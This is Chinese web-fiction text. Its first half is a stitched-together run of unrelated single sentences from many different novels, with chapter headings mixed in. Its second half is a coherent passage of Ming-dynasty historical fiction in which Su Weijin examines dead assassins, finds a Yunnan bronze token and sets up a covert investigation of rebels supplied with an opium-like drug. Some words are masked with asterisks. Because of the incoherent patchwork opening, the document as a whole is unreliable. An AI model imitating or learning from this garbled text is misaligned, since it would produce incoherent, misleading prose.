鬼哭坳深藏在思恩府西北的层峦叠嶂之中,地形之险,名副其实。
只不过王啸一见到极皇千元宗的众人后,当即神色一冷,撇过头去。
窗外米白色的阳光淅淅沥沥落在盛夏的脸上,时间仿佛静止了般,她一动不动的安详的就如同一个洋娃娃。今天已经是她昏迷的第五天了,她依旧是在那睡着身上盖着泛白的被单,没有动静。
他的感官是超越常人不知道多少倍的,轻而易举的就可以看到刚刚那些人输入的密码。
a嫌弃南风软绵绵,连沙包都踢不飞,他顿时觉得自己不应该想锻炼这个花瓶。
站在边上的李春丽也暗爽不已,她抱着膀抖着腿,一副幸灾乐祸的样子,心想这回秦浩可以完蛋了,看他还能装到什么时候。
“呼啦——”他话音刚落,就听到江面上传来响声,一个熟悉的身影从水底一跃而出。
张松都知道崔子旋的实力,那阴阳二仙也必然知道,他们敢潜入江城伺机而动,肯定是有成功的把握。
从前随便出一场严重点的车祸都会被讨论半天,如今尸体却随意横陈在大街上?
“想请我帮什么忙?”周末应该有时间,但连要帮什么忙都不知道,储婵娟自然不会一口答应。
上官玉辰茫然失措地朝前走了几步,无力地闭上眼,一次又一次,自己终究留不住她么?她没有和她手下之人一起,那她到底去了哪里?
许朝暮和肚子里的孩子嘟哝了几句,肚子终于舒服多了,不再疼。
公仪无影坐在另一侧靠窗的位置,本打算闭目养神斟酌着问几句简单扼要的话,却见对面的人总一副研究的样子盯着自己。
“奴婢明白,主子趁热吃药。用完药,奴婢这就走。”桑玥点头应承,额上冷汗涔涔。
萨鲁脸孔扭曲,全身散发出危险阴冷的气息,他身上沾满了血,胳膊上的血蜿蜓滴落,看来在岛上引他离开的士兵已全数死在了他手里。
辛·哈图西理斯像是被戳了一下,一颤一震间,他憎恶眼神闪过痛楚,只是一闪而过,却已经痛得他连连吸气。
她因为溺水,留院观察了一晚,又做了检查,确定没什么问题,可以出院了。
他知道,许朝暮说的只是很客套的话。以后,她的身边会有沈迟陪着。
前几日秦昼曾得到情报,说是宸极宗某一处的天空漂浮着一团古怪的迷蒙之气,那像是某种奇兽隐藏在宸极宗才导致的气息。
这一家媒体,是企鹅网的新闻频道体。前天参加宴会的照片一经公布,一下子吸引了所有的注意力!瞬间被刷成了微薄头条。
马佳妮的语气,无比的肯定。能够让妖刀都逃走的东西,不是灵器才怪呢。
公玉飒容闻言,脸色立时一变,捂在伤口上的那只左手也不禁微微一抖。
夏永夏恒两兄弟自然不用多说,见到如此高贵美丽的林轻衣,眼神顿时一片火热,不由有些看呆了。
然而,他抽空前往各部落视察后,察觉各部落军纪涣散,军备松弛,说是精锐骑兵,实则还不如沿途打劫的山匪。
第292章 困兽犹斗破毒计 天罗地网擒狂
鬼哭坳一把冲天大火,烧掉的不仅是卢苏的命根子,
更是烧穿了他那看似凶悍、实则外强中干的胆气。
败军逃回浔州城,带来的消息让这位昔日不可一世的叛军首领,
脸色灰败得婉似城头被风雨侵蚀了百年的青砖。
“这个不急,等你吃饱饭我们再说也不迟。”苏永煦给赵雨墨倒了杯果汁,动作不急不徐的。
楚瑜施展的杀戮本源对攸宁造成的了极大的压力,即使他身具多道本源,也难以抗衡。
这位闭着眼安详沉睡的新郎,脸蛋儿可长的真俊,符合地球大众的审美,能破例被列为绝色经典收藏系列。
那迎面走来之人皱眉,尴尬的收起探出的手,看向嵇云之时目光不善。
楚枫在剑身狠狠劈砍到吕布的瞬间,便闪电般收回剑锋,面露厉色,不惜内力损耗,左手拍出磅礴罡气相迎。
他去了正德所在的云海宗,云海宗内无所事事的人们,都或坐在广场发呆或者在那里刻苦修炼。三年的时间为了躲避仙人围攻,云海宗一直在关闭山门,限制弟子出行,并且不在接收新人,可以说完全脱离了普通人的社会。
这几天出门的云海宗弟子都纷纷回来了,庆幸的是大家也没有对外动手,还好仙人祖师给大家的符纸也带着传音的功能。
中年男人的手臂被整个从中劈为两段,坚固的臂骨也未能阻挡这一剑的可怖锋芒,残破的手臂更是被极寒玄冰冻结,鲜血都无法迸射出来。
说完,他就一掌拍向这人的脸颊,顿时一抹细腻的蚕丝面具被揭下。
外面不知何时下起了雪,让这除夕更有年味,也越发衬得一室温暖,一室融乐。
一旦确定乡下那块地果真灵气充裕,他就准备修个庄园,把孩子放到那边去养。
再遇上阿三手中的金刚降魔杵,陆湛有信心,环月刀绝不会落下风。甚至有一点,会更胜一筹。
一通话,竟然引起了过往,结果两人这又开始怀想起过去的一段岁月来,一聊就聊了好久。
话音未落,一道恐怖的神识瞬间袭了过去,天地灵力汇聚而来,形成一道百米光刃,其上的锋锐之气,犹如圣兵一般可怕,空间滋滋作响,八阶强者碰到都有可能饮恨当场,便这样直接斩了去。
柳随风倒吸口气,气沉丹田,身子猛地向后仰倒,来了招“铁板桥”。
陆湛没有丝毫犹豫,叫上葫芦娃,踩着积雪,飞一般地朝山脚跑去。
此时,市里兴起各种会所,以价格打压,夜总会的业绩越来越低。叶继欢来找我,问我是否真心跟着,他可以给我个机会。要求是三个月内把夜总会的业绩恢复到市内第一,我接下这个任务。
地动山摇,整个空间一切目所能及的事物,都开始燃烧了起来。红色的火焰云团在高空中凝聚,然后密密麻麻的坠落下来,其中一块巨大的燃烧云团,砸在李蕾蕾面前不远处的石板道路上,立马留下一个巨大的焦黑坑洞。
有保温箱,外加聚灵阵,保鲜阵,饭菜最大程度的保持了刚出锅时候的口感。
唯有那些上万名普通人,茫然失措的倒在地上,强大的威压让他们喘不过气来,不知道该做什么。
第293章 神猴献瑞定乾坤
卢苏此刻的模样,哪里还有半分叛军首领的威风?
头盔不知丢在了何处,发髻散乱,脸上混合着烟灰、汗水和之前亢奋过头留下的不正常潮红。
他挥舞着已经砍出缺口的腰刀,
喉咙里发出野兽般的嗬嗬声,
他们看到的,同冉闵的背影,他还在不紧不慢地驱着马向前驶去,似乎对这一切毫不在意。
江城策、阿杰和黑仔,落坐在靠角落的一个卡座内,悠哉地听着夜场的音乐,喝着啤酒。
“姑娘,你在歌会上的表现奴婢看得清清楚楚,你心里有皇上,而且爱得很深。”知秋的注视,让我觉得自己在她面前变成了个水晶心肝的玻璃人。
这日,正在屋中习惯性的盘坐蒲团上,双目微闲修炼的孙丰照,忽然一巨大的钟鸣声从屋外传来,声音嗡嗡直响,直接洞彻九天,震得孙丰照所在宫舍都微微的一颤。
陈容一笑,连忙上前把昨天发生的事,从头到尾说了一遍。说起来,昨天面对众臣她侃侃而谈,镇住了当朝众多重臣,也是一件值得骄傲的事。因此,这一番叙说,她是讲得神采飞扬。
怪物变得越来越强,似乎力量还在没有上限的提升,在战斗力上从压制,到现在已经开始碾压赤瞳的。
见我进殿,安思谦、孙汉邵等行礼问安后,便欲退出殿外,保元摆手止行。
它都已经一而再的低头退让了,她居然还不依不饶的竟然连磕头认主这样的非分要求都提出来了,它还真当它缺了她不行吗?
我与茗儿初初离了罗城,四顾茫然,不知道该往何处去。茗儿提及她在青城茶山尚有远亲可投,思之再三决定随她投奔了去,自此隐姓埋名了此残生。
自从那天醒来之后,顾云骞的状况好转许多,他到底年轻,身体底子极好,虽然吃了一顿苦头,但烧已然退了。
老板娘开这家烧烤店也不是一年两年了,每天都开到凌晨两三点,什么无赖没见过?就黄毛青年这样的,她三天两头便能遇上一回。
“阿翼!”程佳佳还没出院门就看见阿翼挺拔的身影,欢呼着跑过去,挎着他的胳膊。
军报上写着傅灏大破南诏城门,首战告捷。可郭嘉带来的消息,却是傅灏大败,请求陛下增加援军。
影城大佬是本地人,对这些事心知肚明,用了些手将传言压下去,再每年给道观捐赠不菲的香油钱,请他们在每年十五这天护佑步行街的平安。
两只的关系也一直很好,一起睡个觉没有问题,完全没有别人家猫狗大战的事情发生。
他们俩本就是叔侄,相貌有些相似,气质又在一年的相处中变得接近,可不就像是父子么?
若真要说安大人错,他也算不得错,毕竟这种事跟谁说了,都会觉得安玉歆当入宫帮衬娘家才是。
章闻仲也没想到这个时候竟然有人过来,顿时神色要有些紧张,为了稳定人心,只能强压下来。
白得发光这个词在苗然的脑海中应该是一个美丽的形容词,可现在这幅却叫她往后都不能再直视这个词了。
随着话音落下,在新海鹰岛的另一端,一个巨大的传送门打开,一支同样精悍的不死军团从里面涌出。
第294章 降营深掘黑巫影 滇南暗涌
浔州大捷的消息如同长了翅膀,迅速传遍广西。
王阳明督师行辕所在的营地,连日里都弥漫着一股轻松亢奋的气氛。
王七觉得,外面的人不是疯子就是傻子,这都什么时辰了,还骗他说宫里的,再说了,他家四姑娘入宫这么久了,可从来没有让人半夜送信回来过。
处于社会之中的杰克唯一敬畏的除了金钱可能便只有权势了,毫无疑问,这两样眼前的强森一个都不占。
“不!怎么会这样!”正在这时,三千多亿里之外,那个身穿青色道袍的仙人,愤怒的大吼了起来。
接下来两天,沉默、纯洁他们陆陆续续抵达。众人他们开始布置李怀宇生日晚会,分工明确。
郭晓嫣拥有各式各样的碎花袄子,今天穿了套鹅黄兰花纹的,玉雪可爱,顺从母亲的意思使劲一翻,趴在炕上,手脚并用扑腾半晌,却爬不动。
“是吗?”顾雨薇有点不相信,她又不是没有擦过头发,之前苏辰逸给她擦的时候,她怎么没有这种感觉?
此话一出,周围的人更加诧异了,完全不知道周嘉何在卖什么关子。
柔娘抱着谢知哭得死去活来,她一是伤心家翁去世,她大半时间长在秦家,秦宗言对孩子们向来关爱,比起谢灏,秦宗言更像父亲,二来更伤心要跟阿姊别离,她们心里都有数,这次一别就是永别,再无见面的机会了。
常大用连忙将彭城王的密信奉上,拓跋曜看到彭城王的信总算脸上露出淡淡的笑意,常大用头低垂,对彭城王在陛下心目中的地位有了进一步深刻的认识,时至今日,能让陛下稍稍展颜的,也就彭城王和谢太傅了。
他当时就怀疑过步六孤宗言跟那位柔然皇族的关系,他不觉得柔然皇族会随意给一位敌国的大将军带路,现在回想起来步六孤宗言在十二岁的时候就准备打柔然?谢简嘴角不由泛起淡淡的笑意,这人对别人狠、对自己也狠。
那仆从被她吼得心一颤,而后也忙跟了上去,顾明琰淡淡叹息一身,而后也抬步向苏锦璃追去。
羽兮说着,甩了我的手真的打算走,我怎敢让他走,我留他在身边就是给自己提气壮胆的,于是急忙将他攀得更紧,嘴上虽没说什么,但任谁也看得出来,我眼下对他是极依赖的。
这两个疑问布满了青月以及她身后的青羽几人心头,她们定定地望着苏锦璃,等着她回答。
恒彦林在这个时候,看着那山海珍来,也就是知道了,对方在这个时候,自己的意思来。
在见到恒彦林之后,两人都是愣了一下,随后连忙就是走了过来。
“想不想试试,试试从言夫人的嘴里听到她说出你的所做所为。”她的声音轻轻的,与此同时抬起了一只手,慢慢的放在了她的面前,轻轻的晃动着。
如果一娴顺利进入省队,就会和这样一个不讨喜的人相处,也很可能会产生摩擦。
外面一圈则不断朝着地底与周围延伸,那主要是在挖矿,同时也覆盖着其他一些工作区域。
正沉浸在自己的回忆中时,林能进突然放下了弓,然后甩了甩自己的手腕,那手腕,从手肘到指尖,都在微微颤抖着。
第295章 工赈安民显奇效 市集惊魂避毒
不过,这的确是南宫瑾的作风,一旦关系到莫梓涵,他就会很紧张,哪怕委屈自己,做他不喜欢的事,讨好她一晚也行。
对于她,绝对谈不上喜欢,只是觉得她总是这样一下那样一下,很有喜感。
楼里的姑娘分三等,上等国色天香,中等妩媚妖娆,下等亦是眉清目秀。就连演奏丝竹的伶人都是个个唇红齿白的美少年,直教来此逍遥的客人们眼花缭乱,乐不思蜀。
云朵朵现在也是满腹心事,假如云家无权无势,就能独善其身,那么她宁愿使些手段,让云家不在掌权,有什么比一家人能齐聚一起更让人希翼呢。
“我害怕黑的,就先准备好,我们下去吧。”玮柔荑贼兮兮的笑了出来。
抬手,下意识的摸到了一个水晶吊坠儿,这个动作好像做了无数遍,就那么不由自主的,不受控制的抓在手里。
“都坏了,还要它做什么?”顾恩恩只当那领带就是韩城池众多领带中的一条,便随口的说。
更何况,顾恩恩和韩城池的爱情,太过于一帆风顺了,而现如今摆在她面前的,是那么多此起彼伏的现象和证据,让她根本无法自欺欺人,让她不得不信以为真。
于是我们就上了船。以为要我们自己划桨,还好,那个中年男子坐到了船头,开始划起船来。
他的外套上,有着淡淡的洗衣液味道,不是那么明显,却很好闻,顾阑珊记得,高中自己有题目不会做的时候,顾恩恩都让韩城池来帮自己讲解。
许多客人都在门前,有的面色深沉,有的破口大骂,有的还在询问,总之不像是什么好事。
说这些话时,王碧也被摁压着不断嘴唇间散发出丝丝缕缕的柔音。
那男老师,随即响了声口哨,喊那名投入三分球的人,结束后到他那边留信息。
敖夜要拒绝,但这妮子已经把房产证给办好了,并且上面写着“敖夜”的名字。
扛着巨木,瑟提的动作变得艰难无比。位于巨大的木拳之下,瑟提的身躯就像是一只想要撼动巨木的蚍蜉。
御魔剑认主,更识得宗门人身上的灵气,如若剑主受到危险或它感到周遭危险时,它就会产生自我保护意识,反抗周遭的一切,可它在伍锋身旁就不同了,他常年跟在玄铮身边,自然有办法压制。
斯然闻言一怔,抬眼看他,只见他的笑容如同和煦的阳光一般,让斯然看到了希望,终于,终于不必像在上清宗门那般碰壁了。
难言的冲动自体内澎湃涌出——望着那数千米高,横亘在天地之间的千手观音,不知道为何,瑟提的内心并没有半点敬畏。
斯然被两人争执的声音吵醒,见他们争执不休,硝烟弥漫,她顾不得身上的伤痛,勉强起身走到屋外。
一枚喷射着火焰的导弹,印入大禹的脸部!爆炸声响起,浓烟散去。一具无头尸体,就这样被绝代给完成了。
“奇怪?他们怎么停下来了?”正当泰坦已经严阵以待时,白起率领的八万山海关御林军,在距离联盟营地的1000米外停了下来。
几乎没有了反抗的机会,被死死的压制住了,所有人都感觉自己要死了。
第三个是曲媛媛。她结婚,薛飞的心情就有些复杂了,说不好是高兴,也说不好是不高兴,而且让他没想到的是,曲媛媛居然还邀请他参加婚礼,他实在是搞不明白曲媛媛是怎么想的。
“额!”紫君澈迷茫了!不是应该自己说爷爷你醒了,真是太好了!这下怎么反过来了呢?是世界玄幻了呢?还是自己玄幻了?
这段时间,他们器宗内部也时不时会拿炸天帮出来调侃,甚至互相打赌炸天帮敢不敢上门来,上门后又会干出什么事。
从屋里出来,郎豹到仓房拿了两把铁锹放在了车的后备箱里,梁诚酒没他喝的多,他就让梁诚开车,他坐在副驾驶上指挥。
徐缺顿时怒了,双手一张,黑白两色的麒麟火焰陡然从掌心升起,凝聚两头巨大的火焰麒麟,站立在虚空中,冲着天穹咆哮。
这样的洗髓伐骨,对于秦羽而言只是暂时的,让他临时具备雷火王体的力量。
夜幕抵消了沧澜海啸,而大地的震动,则是以幻梦的位置为中心点。
陈枫上前行了一礼:“见过郭前辈。”既然这人可以与叶留雨平辈论交,应该同样是秘宗修为。至于郭大鹏,则应该是秘师修为。
为了苏音,为了那个高昂的违约金,游子诗现在还保留着最后一丝的理智,还想再稍忍一忍,挂一点面子在。
轻易感知到暗金受放逐者离去的方向,唐泽朝着森林望了一眼,随即走向跳跃者背上的娜尼雅。
第296章 验尸索迹得滇令 迷雾深锁探虫
周大山的反应不可谓不快,几乎在刺客遁入人流的瞬间,
他便如同嗅到血腥味的猛虎,带着两名护卫猛扑出去。
另外几名护卫则死死护住苏惟瑾,刀锋向外,警惕任何可能的后续袭击。
原本喧嚣的市集,此刻只剩下惊慌逃窜的背影、被打翻的货摊,以及空气中弥漫的、若有若无的紧张与恐惧。
追击的过程短暂而激烈。
周大山凭借过人的身手和常年缉捕的经验,
在纵横交错的巷道里,很快缀上了两名落在后面的刺客。
短兵相接,刀光闪烁,两名刺客虽然悍勇,
但终究不是周大山这等沙场悍将的对手,
不过几个照面,便被砍翻在地,眼见是活不成了。
然而,另外几名刺客显然更为老练决绝。
他们利用对地形的熟悉,分散逃窜,
眼看无法摆脱追兵,竟毫不犹豫地咬破了藏在齿间的毒囊!
等周大山等人赶到时,只看到几具迅速变得僵硬的尸体,以及他们脸上那抹诡异而决绝的冷笑。
“**!一群死士!”
周大山狠狠啐了一口,脸色铁青。
他仔细搜查了这几具尸体,
除了被丢弃的**机和一些零散淬**矢,
并未找到任何能证明身份的物品。
对方行事之干净利落,令人心惊。
消息传回,苏惟瑾面色沉静,但眼神深处的寒意却几乎能凝结成冰。
“把尸体,连同**机,全部秘密运回军营,不得让任何人接触。”
他顿了顿,补充道。
“直接送到我帐外僻静处。”
王阳明闻讯赶来,关切之情溢于言表:
“玉衡,受惊了!可曾受伤?”
在得知苏惟瑾无恙,但刺客全部灭口后,
这位心学大师的眉头也紧紧锁起。
“光天化日,闹市行刺,还是死士……此事绝不简单。
玉衡,你最近可曾得罪什么人?
或是……查到了什么不该查的东西?”
苏惟瑾脑海中瞬间闪过“黑巫师”和那诡异的“勇武膏”,
但他并未立刻言明,只是拱手道:
“有劳督师挂心,晚辈无恙。
此事蹊跷,请容晚辈先查验过刺客尸身,再向督师详细禀报。”
王阳明深深看了他一眼,点了点头:
“一切小心。需要什么,尽管开口。”
片刻之后,军营一角,临时用布幔围起的空地上,
几具刺客的尸体被并排摆放。
空气中弥漫着淡淡的血腥气和一种难以言喻的苦涩味道,那是**挥发后的残留。
苏惟瑾屏退了左右,只留周大山在一旁协助。
他挽起袖子,取出随身携带的鹿皮手套戴上,眼神锐利如刀,启动了那超越时代的知识宝库——超频大脑。
现代法医学、痕迹学、毒物学、人体解剖学……
无数知识点如同被点亮的光标,在他脑海中飞速流转、交叉印证。
他首先检查了那几具尸体。
肌肉结实,线条流畅,尤其肩背、大腿的肌群异常发达,
手掌虎口布满厚茧,这是长期进行专业武技和**箭训练的典型特征。
“绝非寻常土匪,是受过严格训练的专职**。”
苏惟瑾低声对周大山说。
接着,他仔细检查了刺客口中的残留物。
**发作极快,入口即死,成分不明,
但那股特殊的苦涩杏仁味,
让他联想到某些**或类似剧毒植物的提取物,这绝非广西本地常见毒物。
他又用小镊子,小心翼翼地提取了刺客衣物上的纤维。
布料质地紧密,染色均匀,虽故意做旧,
但工艺水平不低,与本地土布粗糙的手感截然不同。
甚至,他从一名刺客的指甲缝里,
刮出些许微小的土壤颗粒,在阳光下仔细分辨其颜色、质地。
“红壤,颗粒细腻,带有少量特有的矿物结晶体……”
苏惟瑾喃喃自语,超频大脑迅速调出大明疆域土壤分布图。
“广西本地多为黄壤、赤红壤,这种典型的山原红壤,多见于……云南高原!”
一条条线索开始汇聚,指向一个明确的方向。
最后,他的目光落在其中一具尸体上。
这名刺客是所有尸体中穿着最为整齐,
肌肉训练痕迹也最为明显的一个,似乎是这小队刺客的头目。
苏惟瑾示意周大山将其衣物小心除去,进行更彻底的检查。
衣物被一层层解开,并无异样。
就在苏惟瑾准备放弃时,他的目光扫过那件贴身短褂的衣领内侧。
那
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里有一处针脚似乎比其他地方更为细密、规整。
“大山,小刀。”
周大山递过一柄锋利的**。
苏惟瑾小心翼翼地,沿着那异常规整的针脚边缘,轻轻划开。
鹿皮手套的指尖,触碰到了一小块坚硬、冰凉的物体。
他轻轻将其取出。
那是一枚约莫婴儿巴掌大小,非制式的青铜令牌。
令牌入手沉甸甸的,边缘因长期摩挲而显得光滑。
牌身正面,雕刻着繁复而古老的卷云纹,云纹盘旋缠绕,隐隐构成一个诡异的、类似虫巢的图案。
而在令牌背面,则清晰地浮雕着一只栩栩如生的毒虫!
此虫形似蜈蚣,却生着蝎尾,背甲上点缀着细密的银星,形态狰狞,透着一股邪气。
苏惟瑾对各地物产颇有研究,一眼便认出,
这毒虫图案,正是滇南(云南)某些偏远地区传说中,
一种名为“星尾蝎蜈”的罕见毒物!
而令牌的青铜材质,也带着滇地特有的、含有某些特殊矿物的青黑光泽,
铸造工艺古朴中透着神秘,与官制令牌的规整大气迥然不同。
“云南……”
苏惟瑾指尖捏紧这枚冰凉刺骨的令牌,
眼神骤然变得锐利无比,仿佛穿透了营帐,望向了西南方向那重重山峦。
市集刺杀,训练有素的死士,特征迥异的物证,还有这枚指向性极强的、雕刻着滇地特有毒虫的令牌!
这一切,与他之前从降卒口中得知的、那些供应“勇武膏”的“黑巫师”,
以及那隐藏在云南木氏土司地盘内的巨大**田,瞬间形成了隐隐的呼应!
幕后黑手的范围,被这枚突如其来的令牌,大幅缩小,却也显得更加迷雾重重,深不可测。
滇地令牌现世,直接将刺客与遥远的云南神秘势力挂钩!
这“星尾蝎蜈”令牌究竟属于何方神圣?
是与木氏土司有关,还是另有隐秘组织?
这些来自云南的刺客,为何要跨越省界,不惜动用死士也要刺杀苏惟瑾?
是因为他捣毁了“鬼哭坳”,断了他们的财路?
还是因为他查探“勇武膏”和“黑巫师”的举动,触及了某个更庞大、更黑暗阴谋的核心?
平静的浔州城下,暗流已化为汹涌的漩涡!
第297章 三线索共指滇南 布暗网深探虫
苏惟瑾没有片刻耽搁,将那枚带着阴冷气息的青铜令牌紧紧攥在手中,
转身便朝着王阳明督师所在的中军大帐快步走去。
帐外的亲兵认得他,并未阻拦,只是看到他凝重的面色,也不由得挺直了腰背。
帐内,王阳明正伏案批阅文书,听到脚步声抬头,见是苏惟瑾,便放下了笔,温和道:
“玉衡来了,尸体验看如何?
可有所获?”
他目光扫过苏惟瑾手中之物,眼神微凝。
“督师,”
苏惟瑾躬身一礼,将令牌双手呈上,声音沉静却带着不容置疑的力度。
“刺客身份,已有眉目。
然其背后牵扯,恐远超我等此前预估。”
他随即便将市集**的详细经过,
以及验尸所得的种种发现,条分缕析,一一陈述。
当说到那枚雕刻着“星尾蝎蜈”的滇地令牌时,
王阳明的眉头彻底锁紧,接过令牌,
指尖摩挲着那冰冷的纹路,沉吟不语。
苏惟瑾趁势将心中早已推演成熟的推断和盘托出,超频大脑将散落的线索瞬间编织成网:
“督师请看,此其一,令牌材质、工艺、毒虫图案,皆指向云南,此乃铁证!”
“其二,‘勇武膏’核心原料**,学生查阅古籍并综合降卒供词,
其最早规模种植与精炼之法,
正源于云南缅邦一带,广西本地此前并无此物大规模出现之记载。
卢苏等人所得药方与技术支持,来源可疑!”
“其三,此番刺杀,刺客训练有素,装备精良,行事狠辣果决,
且能精准掌握学生行踪,绝非仓促可成。
其背后势力布局之深、渗透之广,令人心惊!”
他深吸一口气,目光灼灼地看向王阳明,语气斩钉截铁:
“综合这三点,学生大胆推断,广西卢苏、岑猛之乱,绝非孤立的土司叛乱!
其背后,必有云南的势力在暗中支持,甚至可能主导!
他们不仅提供**、技术,恐怕还有资金、乃至人力的支援!
其目的,绝非仅仅搅乱广西那么简单,
恐怕意在牵制朝廷精力,搅乱整个西南边陲,
他们好从中渔利,行那不可告人之勾当!”
他顿了顿,声音愈发沉重:
“若不能将此幕后黑手连根拔起,
今日我们平定卢苏,难保明日不会冒出张苏、李苏!
西南边疆,将永无宁日!
学生恳请督师明鉴,此事必须深查到底!”
王阳明听完这一番抽丝剥茧、逻辑严密的论述,
脸上惯常的温和从容渐渐被一种深沉的肃然所取代。
他缓缓站起身,在帐中踱了两步,
目光如电,扫过那枚令牌,
最终定格在苏惟瑾年轻却坚毅的面庞上。
“好!好一个‘今日平卢苏,明日恐有张苏、李苏’!”
王阳明抚掌轻拍,语气中带着毫不掩饰的激赏与决断。
“玉衡所见,与老夫不谋而合!
西南之事,确非一战可定。
此獠藏于幕后,阴险歹毒,若不揪出,遗祸无穷!”
他走到苏惟瑾面前,神色郑重:
“此事关乎西南长治久安,非同小可。
玉衡,你既已洞察先机,又有此胆识魄力,
老夫便授权于你,全权负责对此事的秘密调查!
一应人手、资源,若有需要,皆可调动!
务必谨慎行事,挖出这藏于云南的毒瘤!”
“学生领命!
定不负督师所托!”
苏惟瑾心中一定,躬身应道。
有了王阳明的全力支持,他的计划便可顺利展开。
回到自己的营帐,苏惟瑾立刻行动起来,超频大脑高速运转,一套周密的调查计划迅速成型。
首先,便是**息。
他亲自下令,对外统一口径,
将市集刺杀定性为“小股流匪冲击,已被击溃”,
严密封锁关于刺客身份、令牌以及任何与云南相关的细节。
浔州城内刚刚稳定的民心不能再乱,
更不能让那暗处的对手察觉到他们已然暴露。
紧接着,一张无形的情报大网开始悄然铺开。
一方面,他动用了之前借助“云裳阁”商队悄然布下的商业网络。
通过加密的信件,指令“云裳阁”在云南的分号负责人,
以扩大丝绸、茶叶采购为名,
重点接触滇地各土司辖区的商人,
尤其是与药材、矿业有关的行当,
留意任何与“星尾蝎蜈”图案、**交易或是神秘黑袍人相关的蛛丝马迹。
另一方面,他唤来了书童苏惟奇。
苏惟奇办事机灵,对苏家忠诚不二。
“惟奇,挑选二十名绝对可靠、口风紧、最好懂些拳脚或是做过生意的家丁,
分批扮作行商、药贩、游方郎中,潜入云南。”
苏惟瑾低声吩咐,将令牌的拓印图样交给他。
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>“重点探查与此图案相关的势力,以及**花的种植和流向。
记住,安全第一,只探听,不行动,所有消息通过密信渠道传回。”
与此同时,王阳明也以两广总督、提督军务的身份,
正式行文广西与云南交界处的各州县衙门,
以“协查卢苏叛军逃亡余孽、清查不法商贩资敌”为名,
要求各地加强盘查与信息互通。
这道明面上的官方指令,
既给了苏惟瑾手下人马一定的活动便利,
也起到了麻痹对手、混淆视听的作用。
最后,也是最为关键的一步——精锐潜入。
周大山被秘密召至帐内。
苏惟瑾将那块真正的青铜令牌交到他手中,神色凝重:
“大山,此次任务,凶险异常。
你亲自挑选十名最精锐、最忠诚、最擅长隐匿与格斗的兄弟,
配上最好的装备和足量的金银。
再重金聘请几位熟悉滇桂边境地形、风土人情的本地老手做向导。”
他指着地图上云南的大致轮廓:
“你们化装成收购山货、药材的商队,持此令牌,潜入云南。
首要目标,查清这令牌的来源,属于哪个土司,或是哪个隐秘组织;
其次,摸清**的种植规模、交易网络和最终流向;
最后,留意所有与令牌上这毒虫图案相关的信息。
记住,你们是眼睛和耳朵,不是拳头!
遇到危险,以保全自身、传递消息为第一要务!”
周大山将令牌小心翼翼贴身藏好,
蒲扇般的大手重重抱拳,眼中闪烁着兴奋与决然:
“公子放心!大山晓得轻重!
就算把那滇地的山头翻个遍,也定要把这伙藏头露尾的龟孙子给揪出来!”
一张针对云南幕后黑手的秘密情报大网,
就在这浔州城看似平静的表面下,悄然向着西南边陲层层铺开。
网已撒下,只待鱼儿浮出水面,抑或是……引出更深水下的巨鳄。
明暗两条线齐发,苏惟瑾的调查网已撒向云南!
周大山这支精锐小队,能否在人生地不熟的滇境成功潜伏并找到关键线索?
“云裳阁”和苏家家丁的暗中查访,又会触及哪些地方势力的利益神经?
而那只“星尾蝎蜈”背后代表的,
究竟是木氏土司,还是其他更神秘、更强大的存在?
这趟滇南之行,注定步步杀机,暗藏惊雷!
第298章 困兽犹斗寻毒援 网开一面待鱼
思恩、田州两座孤城,如今就像两只被拔了牙、断了爪,困在铁笼里的病虎。
曾经依仗险峻山势和彪悍兵卒称雄一方的岑猛,
此刻坐在田州土司府那虎皮大椅上,却只觉得屁股底下如同针毡。
府内往日喧嚣不再,弥漫着一股压抑的、混合着药味和绝望的气息。
城外围城的官军,并未急着发动总攻。
那连绵的营寨,整齐的旌旗,每日操练传来的震天喊杀声,
比真刀**的攻城更让人心头发慌。
王阳明深谙“攻城为下,攻心为上”的精髓,将苏惟瑾的建议发挥到了极致。
他亲笔撰写的安民檄文,用词恳切,道理分明,被抄录了无数份,由箭矢射入城中,或由大胆的本地乡民带入。
檄文核心只有一条:
“朝廷天兵,只问首恶岑猛、卢苏(虽已被擒,但名头还在)及其死党,
其余被裹挟部众、受蒙蔽头人,
只要幡然醒悟,缚献首恶或主动来归,一概既往不咎,且有封赏!”
光说不够,王阳明更派出手腕灵活的使者,
携带着真金白银和盖着总督大印的承诺文书,
秘密接触那些并非岑猛嫡系、只是碍于形势或被裹挟加入叛军的中小部落头人。
这些头人本就对岑猛的刚愎自用和那害人的“勇武膏”心怀不满,
如今见官军势大,王督师又给出了如此明确的保证,心思哪能不动?
而苏惟瑾,则为他提供了最关键的情报支援。
超频大脑结合之前降卒的供词、战场俘获的信件、以及零星收集到的信息,
精准地剖析出叛军联盟内部各个势力之间的龃龉、
各自的利益诉求以及他们对岑猛的忠诚度。
哪家头人贪财,哪家与岑猛有旧怨,哪家部众对“神勇士”抗拒最深……
王阳明的使者便带着相应的筹码,找上门去。
这一手“恩威并施”,可谓打在了七寸上。
不过旬月之间,先是两个小部落头人夜里缒下城墙,带着部众偷偷跑去了官军营寨投降,得到了妥善安置和赏赐。
紧接着,又有三四家规模不小的部落,
虽未明着投降,却也与官军使者达成了默契,约束部众,消极避战。
更绝的是,苏惟瑾向王阳明献计,
故意放松对一批伤势不重、意志也不算坚定的俘虏的看管,
让他们“侥幸”逃回思恩、田州。
这些人在叛军中散播着各种动摇军心的言论:
“那神猴显圣是真的!我亲眼看见旗子上冒出的‘明’字!那是天意!”
“什么狗屁神勇士,那就是催命符!
吃了力气大是不假,可药劲过了比死还难受,好多兄弟都吐血**!”
“王督师是好人,说话算话!
只要不跟着岑猛一条道走到黑,都能活命,还能领赏钱!”
这些言论如同瘟疫般在缺粮少药、士气低迷的叛军中蔓延。
原本就对“神猴”之事将信将疑的士兵,此刻更是人心惶惶。
看着身边不断有人偷偷跑掉,或者出工不出力,
剩下的叛军彼此之间也充满了猜忌,谁也不知道身边的人是人是鬼。
岑猛不是傻子,城内的异动他岂能不知?
他试图用更严厉的手段弹压,
处**几个传播“谣言”和试图逃跑的士兵,
甚至迁怒于一些他怀疑有二心的头人。
然而,高压政策带来的,是更深的恐惧和更强烈的离心倾向。
他感觉自己就像坐在一个即将喷发的火山口上,脚下的大地正在寸寸碎裂。
“废物!都是一群养不熟的白眼狼!”
土司府内,岑猛一脚踹翻了面前的矮几,杯盘狼藉,他双目赤红,喘着粗气,如同一头真正被困的野兽。
“没有‘神勇士’,你们这些废物早就被官军砍成肉泥了!
现在倒好,听信几句谣言,就想背叛老子?!”
他暴躁地来回踱步,内心的恐惧其实远比表现出来的愤怒更甚。
卢苏败亡被擒的消息像一根毒刺,深深扎在他心里。
